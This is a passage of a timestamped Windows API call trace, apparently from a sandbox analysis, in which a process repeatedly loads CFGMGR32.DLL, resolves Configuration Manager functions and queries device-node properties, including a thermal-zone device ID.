hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.672] malloc (_Size=0x18) returned 0x196ef0d1e60 [0220.672] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.674] malloc (_Size=0x48) returned 0x196ef0fc170 [0220.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6464096c, dwHighDateTime=0x1d9eb0c)) [0220.675] SetEvent (hEvent=0x248) returned 1 [0220.678] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.678] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.681] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0220.682] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x16, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0220.682] malloc (_Size=0x48) returned 0x196ef0fbea0 [0220.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6464096c, dwHighDateTime=0x1d9eb0c)) [0220.682] SetEvent (hEvent=0x248) returned 1 [0220.786] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.786] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.789] malloc (_Size=0x18) returned 0x196ef0d1a20 [0220.790] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x16, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0220.790] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0220.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6474ad42, dwHighDateTime=0x1d9eb0c)) [0220.790] SetEvent (hEvent=0x248) returned 1 [0220.793] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.793] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.795] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.797] malloc (_Size=0x18) returned 0x196ef0d1e60 [0220.797] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.797] malloc (_Size=0x48) returned 0x196ef0fc080 [0220.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6474ad42, dwHighDateTime=0x1d9eb0c)) [0220.798] SetEvent (hEvent=0x248) returned 1 [0220.802] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.802] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.802] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.802] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.805] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0220.805] CM_Get_Device_IDA (in: dnDevInst=0x17, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\THERMALZONE\\TZ00") returned 0x0 [0220.806] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0220.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x64770fbb, dwHighDateTime=0x1d9eb0c)) [0220.806] SetEvent (hEvent=0x248) returned 1 [0220.809] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.809] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.812] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.813] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.813] malloc (_Size=0x18) returned 0x196ef0d1a40 [0220.813] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0220.814] malloc (_Size=0x3e) returned 0x196ef0fbef0 [0220.814] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0fbef0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fbef0, pulLength=0x67117d608) returned 0x0 [0220.815] free (_Block=0x196ef0fbef0) [0220.815] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0220.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x64797312, dwHighDateTime=0x1d9eb0c)) [0220.815] SetEvent (hEvent=0x248) returned 1 [0220.817] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0220.817] SafeArrayPutElement (psa=0x196ef1f2930, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0220.817] free (_Block=0x196ef0d1cc0) [0220.817] malloc (_Size=0x18) returned 0x196ef0d1da0 [0220.818] SafeArrayPutElement (psa=0x196ef1f2930, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0220.818] free (_Block=0x196ef0d1da0) [0220.818] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8562e0 [0220.818] SafeArrayGetDim (psa=0x196ef1f2930) returned 0x1 [0220.818] SafeArrayGetLBound (in: psa=0x196ef1f2930, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0220.818] SafeArrayGetUBound (in: psa=0x196ef1f2930, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0220.818] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0220.818] SafeArrayGetDim (psa=0x196ef1f2930) returned 0x1 [0220.818] SafeArrayGetUBound (in: psa=0x196ef1f2930, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0220.818] SafeArrayGetElemsize (psa=0x196ef1f2930) returned 0x8 [0220.818] SafeArrayGetElement (in: psa=0x196ef1f2930, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0220.819] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e650, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.819] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e658, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.819] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0220.820] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8562e0) returned 1 [0220.820] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.820] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.820] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.820] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.821] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.821] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.821] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.821] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.821] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.821] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.824] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.824] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.824] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.824] malloc (_Size=0x18) returned 0x196ef0d1b60 [0220.824] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0220.824] malloc (_Size=0x48) returned 0x196ef0fb220 [0220.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x64797312, dwHighDateTime=0x1d9eb0c)) [0220.825] SetEvent (hEvent=0x248) returned 1 [0220.911] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.912] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.915] GetProcAddress (hModule=0x7ffa786c0000, 